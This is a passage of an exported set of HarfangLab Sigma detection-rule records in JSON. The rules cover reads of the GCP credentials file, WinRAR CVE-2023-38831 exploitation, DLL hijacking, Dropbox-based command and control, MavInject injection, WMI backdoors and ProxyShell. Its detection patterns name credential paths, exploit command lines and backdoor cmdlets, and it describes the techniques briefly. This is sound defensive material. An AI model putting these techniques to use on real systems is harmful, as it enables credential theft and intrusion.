+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.098258Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1552/001/"
+  ],
+  "name": "t1552_004_gcp_config_read_macos.yml",
+  "content": "title: Suspicious Access to GCP Database File\nid: 2e7c5a05-6c01-4aac-b25c-16ea27b31087\ndescription: |\n    Detects an attempt to read the content of the GCP database.\n    Adversaries may access a user's GCP database file in order to gather credentials and move to cloud environments.\n    It is recommended to verify if the process performing the read operation has legitimate reasons to do so.\nreferences:\n    - https://attack.mitre.org/techniques/T1552/001/\ndate: 2024/06/18\nmodified: 2025/10/29\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1552.001\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.CredentialAccess\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection_version:\n        # define minimum version for each branches\n        - AgentVersion|gte|version: 3.6.13\n          AgentVersion|lt|version: 3.7.0\n        - AgentVersion|gte|version: 3.7.11\n          AgentVersion|lt|version: 3.8.0\n        - AgentVersion|gte|version: 3.8.3\n          AgentVersion|lt|version: 3.9.0\n        # all versions above are patched\n        - AgentVersion|gte|version: 3.9.0\n    selection_files:\n        Kind: 'read'\n        Path: '/Users/*/.config/gcloud/credentials.db'\n        ProcessImage|contains: '?'\n\n# Common exclusion\n    ### system app ###\n    filter_systemapp:\n        Image:\n            - '/System/Library/Services/*'\n            - '/System/Library/PrivateFrameworks/*'\n            - '/System/Library/CoreServices/*'\n            - '/System/Library/Frameworks/CoreServices.framework/*'\n            - '/System/Library/ExtensionKit/Extensions/*'\n            - '/System/Library/Frameworks/*'\n            - '/usr/sbin/filecoordinationd'\n    exclusion_systemextension:\n        Image|startswith: '/Library/SystemExtensions/????????-????-????-????-????????????/'\n    exclusion_virtualization:\n        Image: '/System/Library/Frameworks/Virtualization.framework/Versions/A/XPCServices/com.apple.Virtualization.VirtualMachine.xpc/Contents/MacOS/com.apple.Virtualization.VirtualMachine'\n\n    ### security tools ###\n    exclusion_hurukai:\n        Image: '/Applications/HarfangLab Hurukai.app/Contents/MacOS/hurukai'\n    exclusion_fortinet:\n        Image:\n            - '/Library/Application Support/Fortinet/FortiClient/bin/fmon2.app/Contents/MacOS/fmon2'\n            - '/Library/Application Support/Fortinet/FortiClient/bin/fcaptmon'\n            - '/Library/Application Support/Fortinet/FortiClient/bin/scanunit'\n    exclusion_microsoft_defender:\n        Image:\n            - '/Applications/Microsoft Defender.app/Contents/MacOS/wdavdaemon_enterprise.app/Contents/MacOS/wdavdaemon_enterprise'\n            - '/Applications/Microsoft Defender.app/Contents/MacOS/wdavdaemon'\n    exclusion_fsecure:\n        Image:\n            - '/usr/local/f-secure/bin/fscesproviderd.xpc/Contents/MacOS/fscesproviderd'\n            - '/Library/F-Secure/bin/fscesproviderd.xpc/Contents/MacOS/fscesproviderd'\n            - '/Library/F-Secure/bin/fsavd.app/Contents/MacOS/fsavd'\n    exclusion_bitdefender:\n        Image: '/Library/Bitdefender/AVP/product/bin/BDLDaemon.app/Contents/MacOS/BDLDaemon'\n    exclusion_eset:\n        Image:\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_sci'\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_daemon'\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_gui'\n            - '/Applications/ESET Endpoint Antivirus.app/Contents/MacOS/esets_daemon'\n            - '/Applications/ESET Cyber Security.app/Contents/MacOS/esets_daemon'\n    exclusion_withssecure:\n        Image:\n            - '/Library/WithSecure/bin/wsesproviderd.xpc/Contents/MacOS/wsesproviderd'\n            - '/Library/WithSecure/bin/wsavd.app/Contents/MacOS/wsavd'\n    exclusion_sentinel:\n        Image: '/Library/Sentinel/sentinel-agent.bundle/Contents/MacOS/sentineld_helper.app/Contents/MacOS/sentineld_helper'\n    exclusion_avast:\n        Image: '/Applications/Avast.app/Contents/Backend/utils/com.avast.Antivirus.EndpointSecurity.app/Contents/MacOS/com.avast.Antivirus.EndpointSecurity'\n    exclusion_trend:\n        Image: '/Applications/TrendMicroSecurity.app/Contents/Resources/iCoreService.app/Contents/MacOS/iCoreService'\n    exclusion_sophos:\n        Image: '/Library/Sophos Anti-Virus/SophosScanAgent.app/Contents/MacOS/SophosScanAgent'\n\n    ### backup sofware ###\n    exclusion_arq:\n        Image: '/Applications/Arq.app/Contents/Resources/ArqAgent.app/Contents/MacOS/ArqAgent'\n\n    # AtempoLiveNavigator\n    exclusion_hnagent:\n        Image: '/Library/Application Support/HN/base/bin/HNagent'\n\n    exclusion_wddesktop:\n        Image:\n            - '/Library/Application Support/WDDesktop.app/Contents/Resources/kdd'\n            - '/Library/Application Support/WDDesktop.app/Contents/Resources/wdsync'\n\n    ### misc\n    exclusion_vscode:\n        Image:\n            - '/Applications/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n            - '/Users/*/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n# end common exclusion\n\n    exclusion_haxm:\n        Image: '/usr/local/haxm/*/haxm'\n        ProcessSignatureSigningId: 'Agent_final'\n        ProcessSigned: 'true'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2e7c5a05-6c01-4aac-b25c-16ea27b31087",
+  "rule_name": "Suspicious Access to GCP Database File",
+  "rule_description": "Detects an attempt to read the content of the GCP database.\nAdversaries may access a user's GCP database file in order to gather credentials and move to cloud environments.\nIt is recommended to verify if the process performing the read operation has legitimate reasons to do so.\n",
+  "rule_creation_date": "2024-06-18",
+  "rule_modified_date": "2025-10-29",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1552.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2e91d378-094f-4d0e-8695-ea6539ed28c9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.084718Z",
+  "creation_date": "2026-03-23T11:45:34.084720Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.084724Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.group-ib.com/blog/cve-2023-38831-winrar-zero-day/",
+    "https://nvd.nist.gov/vuln/detail/CVE-2023-38831",
+    "https://attack.mitre.org/techniques/T1203/"
+  ],
+  "name": "t1203_winrar_vulnerability.yml",
+  "content": "title: WinRAR CVE-2023-38831 Vulnerability Exploited\nid: 2e91d378-094f-4d0e-8695-ea6539ed28c9\ndescription: |\n    Detects command-lines related to the exploitation of CVE-2023-38831, a vulnerability affecting WinRAR.\n    WinRAR before 6.23 allows attackers to execute arbitrary code when a user attempts to view a benign file within a ZIP archive.\n    This vulnerability was exploited in the wild in April through August 2023.\n    It is recommended to investigate any child processes and alerts on the affected machine.\nreferences:\n    - https://www.group-ib.com/blog/cve-2023-38831-winrar-zero-day/\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-38831\n    - https://attack.mitre.org/techniques/T1203/\ndate: 2023/08/25\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1203\n    - cve.2023-38831\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Exploit.CVE-2023-38831\n    - classification.Windows.Behavior.Phishing\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_image:\n        ParentImage|endswith: '\\Winrar.exe'\n        CommandLine|startswith: '?:\\Windows\\system32\\cmd.exe /c ?:\\Users\\\\*\\AppData\\Local\\Temp\\Rar$*\\'\n\n    selection_extension:\n        CommandLine|endswith:\n            - ' .exe'\n            - ' .cmd'\n            - ' .bat'\n            - ' .vbs'\n            - ' .wsf'\n            - ' .wsh'\n            - ' .ps1'\n            - ' .js'\n            - ' .exe '\n            - ' .cmd '\n            - ' .bat '\n            - ' .vbs '\n            - ' .wsf '\n            - ' .wsh '\n            - ' .ps1 '\n            - ' .js '\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2e91d378-094f-4d0e-8695-ea6539ed28c9",
+  "rule_name": "WinRAR CVE-2023-38831 Vulnerability Exploited",
+  "rule_description": "Detects command-lines related to the exploitation of CVE-2023-38831, a vulnerability affecting WinRAR.\nWinRAR before 6.23 allows attackers to execute arbitrary code when a user attempts to view a benign file within a ZIP archive.\nThis vulnerability was exploited in the wild in April through August 2023.\nIt is recommended to investigate any child processes and alerts on the affected machine.\n",
+  "rule_creation_date": "2023-08-25",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1203"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2eedf312-fb18-46f6-8ce9-aed5bedd3dd7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.593612Z",
+  "creation_date": "2026-03-23T11:45:34.593616Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.593623Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_systeminfo.yml",
+  "content": "title: DLL Hijacking via systeminfo.exe\nid: 2eedf312-fb18-46f6-8ce9-aed5bedd3dd7\ndescription: |\n    Detects potential Windows DLL Hijacking via systeminfo.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'systeminfo.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\fastprox.dll'\n            - '\\mpr.dll'\n            - '\\SspiCli.dll'\n            - '\\version.dll'\n            - '\\wbemprox.dll'\n            - '\\wbemsvc.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2eedf312-fb18-46f6-8ce9-aed5bedd3dd7",
+  "rule_name": "DLL Hijacking via systeminfo.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via systeminfo.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2f4b9ca0-a3f3-4e38-a62f-aedbfe8a362c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.602948Z",
+  "creation_date": "2026-03-23T11:45:34.602952Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.602972Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securelist.com/bad-magic-apt/109087/",
+    "https://attack.mitre.org/techniques/T1071/001/"
+  ],
+  "name": "t1071_001_suspicious_url_request_to_dropbox.yml",
+  "content": "title: Suspicious URL Request to the Dropbox API\nid: 2f4b9ca0-a3f3-4e38-a62f-aedbfe8a362c\ndescription: |\n    Detects suspicious URL requests to the Dropbox API.\n    Adversaries can use legitimate webservices to hide malicious command and control traffic.\n    The Powermagic malware is known to use the Dropbox API to communicate with the attackers.\n    It is recommended to analyze the process performing the URL request to determine whether its network communication to the DropBox API is legitimate.\nreferences:\n    - https://securelist.com/bad-magic-apt/109087/\n    - https://attack.mitre.org/techniques/T1071/001/\ndate: 2023/03/24\nmodified: 2025/09/23\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1071.001\n    - attack.t1102.002\n    - attack.exfiltration\n    - attack.t1567.002\n    - classification.Windows.Source.UrlRequest\n    - classification.Windows.Behavior.Masquerading\n    - classification.Windows.Behavior.Exfiltration\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: url_request\ndetection:\n    selection:\n        RequestUrlHost:\n            - 'content.dropboxapi.com'\n            - 'api.dropboxapi.com'\n\n    filter_dropbox:\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Google Inc'\n            - 'Google LLC'\n            - 'Dropbox, Inc'\n            - 'Piriform Software Ltd'\n\n    filter_dropbox_useragent:\n        UserAgent|startswith: 'DropboxWindowsApp/'\n\n    exclusion_dropboxuniversal:\n        ProcessOriginalFileName: 'DropboxUniversal.exe'\n\n    exclusion_rekordbox:\n        # https://api.dropboxapi.com/2/auth/token/revoke\n        ProcessOriginalFileName: 'rekordbox.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'AlphaTheta Corporation'\n\n    exclusion_totalcmd64:\n        ProcessOriginalFileName: 'totalcmd64.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Ghisler Software GmbH'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2f4b9ca0-a3f3-4e38-a62f-aedbfe8a362c",
+  "rule_name": "Suspicious URL Request to the Dropbox API",
+  "rule_description": "Detects suspicious URL requests to the Dropbox API.\nAdversaries can use legitimate webservices to hide malicious command and control traffic.\nThe Powermagic malware is known to use the Dropbox API to communicate with the attackers.\nIt is recommended to analyze the process performing the URL request to determine whether its network communication to the DropBox API is legitimate.\n",
+  "rule_creation_date": "2023-03-24",
+  "rule_modified_date": "2025-09-23",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1102.002",
+    "attack.t1567.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2f78ddbf-ec12-46ef-b5f4-1c5272a8acd3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.615612Z",
+  "creation_date": "2026-03-23T11:45:34.615615Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.615623Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Mavinject/",
+    "https://attack.mitre.org/techniques/T1218/",
+    "https://attack.mitre.org/techniques/T1055/001/"
+  ],
+  "name": "t1218_mavinject.yml",
+  "content": "title: Process Injected via MavInject\nid: 2f78ddbf-ec12-46ef-b5f4-1c5272a8acd3\ndescription: |\n    Detects an attempt to open a process by mavinject.exe.\n    This can be used by attackers to inject and execute an arbitrary DLL on any processes.\n    It is recommended to check process' parents and the opened process for suspicious actions or content.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Mavinject/\n    - https://attack.mitre.org/techniques/T1218/\n    - https://attack.mitre.org/techniques/T1055/001/\ndate: 2021/06/16\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n    - attack.t1055.001\n    - classification.Windows.Source.ProcessAccess\n    - classification.Windows.LOLBin.Mavinject\n    - classification.Windows.Behavior.ProcessInjection\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: process_access\ndetection:\n    selection:\n        GrantedAccess: '0x10143a'\n        ProcessOriginalFileName:\n          - 'mavinject32.exe'\n          - 'mavinject64.exe'\n\n    exclusion_appvisvsubsystems:\n        ProcessCommandLine|contains:\n            - '\\AppVIsvSubsystems32.dll'\n            - '\\AppVIsvSubsystems64.dll'\n\n    exclusion_appv:\n        ProcessParentImage: '?:\\Windows\\System32\\AppVClient.exe'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature: 'Microsoft Windows'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2f78ddbf-ec12-46ef-b5f4-1c5272a8acd3",
+  "rule_name": "Process Injected via MavInject",
+  "rule_description": "Detects an attempt to open a process by mavinject.exe.\nThis can be used by attackers to inject and execute an arbitrary DLL on any processes.\nIt is recommended to check process' parents and the opened process for suspicious actions or content.\n",
+  "rule_creation_date": "2021-06-16",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055.001",
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2f8e4b3a-9c7d-4e6f-8a1b-5d3c9e7f2a4b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.624544Z",
+  "creation_date": "2026-03-23T11:45:34.624546Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.624550Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/mattifestation/WMI_Backdoor",
+    "https://attack.mitre.org/techniques/T1546/003/",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1546_003_wmi_backdoor_trigger_cmdlet.yml",
+  "content": "title: WMIBackdoor PowerShell Cmdlet Executed\nid: 2f8e4b3a-9c7d-4e6f-8a1b-5d3c9e7f2a4b\ndescription: |\n    Detects the execution of the WMIBackdoor.ps1 PowerShell script used to create WMI event subscription backdoors.\n    This script establishes persistent malicious WMI event consumers that trigger on specific system events, allowing attackers to maintain access and execute arbitrary code.\n    WMI event subscriptions are a common persistence mechanism that can survive reboots and are often difficult to detect through standard security tools.\n    It is recommended to investigate the WMI event subscriptions on the system via the associated telemetry, analyze the triggered actions and payloads, and review the process tree for the parent process that executed this cmdlet.\nreferences:\n    - https://github.com/mattifestation/WMI_Backdoor\n    - https://attack.mitre.org/techniques/T1546/003/\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2025/11/07\nmodified: 2025/12/08\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1546.003\n    - attack.t1059.001\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.HackTool.WMIBackdoor\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: powershell_event\ndetection:\n    selection:\n        ScriptBlockText|contains:\n            - 'New-WMIBackdoorTrigger'\n            - 'New-WMIBackdoorAction'\n            - 'Register-WMIBackdoor'\n\n    condition: selection\nlevel: high\nconfidence: strong\n\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2f8e4b3a-9c7d-4e6f-8a1b-5d3c9e7f2a4b",
+  "rule_name": "WMIBackdoor PowerShell Cmdlet Executed",
+  "rule_description": "Detects the execution of the WMIBackdoor.ps1 PowerShell script used to create WMI event subscription backdoors.\nThis script establishes persistent malicious WMI event consumers that trigger on specific system events, allowing attackers to maintain access and execute arbitrary code.\nWMI event subscriptions are a common persistence mechanism that can survive reboots and are often difficult to detect through standard security tools.\nIt is recommended to investigate the WMI event subscriptions on the system via the associated telemetry, analyze the triggered actions and payloads, and review the process tree for the parent process that executed this cmdlet.\n",
+  "rule_creation_date": "2025-11-07",
+  "rule_modified_date": "2025-12-08",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1546.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2f9bedc8-2825-415e-a921-7af30eb2aa12",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.092287Z",
+  "creation_date": "2026-03-23T11:45:34.092289Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.092294Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.mandiant.com/resources/pst-want-shell-proxyshell-exploiting-microsoft-exchange-servers",
+    "https://redcanary.com/blog/blackbyte-ransomware/",
+    "https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/",
+    "https://attack.mitre.org/techniques/T1190/",
+    "https://attack.mitre.org/techniques/T1505/003/"
+  ],
+  "name": "t1190_proxyshell_vulnerability_exploitation.yml",
+  "content": "title: Microsoft Exchange Server Vulnerability Exploitation\nid: 2f9bedc8-2825-415e-a921-7af30eb2aa12\ndescription: |\n    Detects a possible exploitation of CVE-2021-31207 (aka ProxyShell) related to Microsoft Exchange server, that allows an attacker to write files to the system.\n    The ProxyShell vulnerabilities consist of three vulnerabilities (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207) affecting on-premises Microsoft Exchange servers that allow attackers to perform a pre-authenticated remote code execution.\n    It is recommended to analyze the files written to disk to look for webshells or any suspicious content.\nreferences:\n    - https://www.mandiant.com/resources/pst-want-shell-proxyshell-exploiting-microsoft-exchange-servers\n    - https://redcanary.com/blog/blackbyte-ransomware/\n    - https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/\n    - https://attack.mitre.org/techniques/T1190/\n    - https://attack.mitre.org/techniques/T1505/003/\ndate: 2022/07/08\nmodified: 2025/04/11\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.t1190\n    - attack.persistence\n    - attack.t1505.003\n    - cve.2021-31207\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Exploit.Exchange\n    - classification.Windows.Exploit.ProxyShell\n    - classification.Windows.Exploit.CVE-2021-34473\n    - classification.Windows.Exploit.CVE-2021-34523\n    - classification.Windows.Exploit.CVE-2021-31207\n    - classification.Windows.Behavior.InitialAccess\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: filesystem_create\ndetection:\n    selection:\n        Image|endswith: '\\MSExchangeMailboxReplication.exe'\n        Path|endswith:\n            - '.aspx'\n            - '.asp'\n            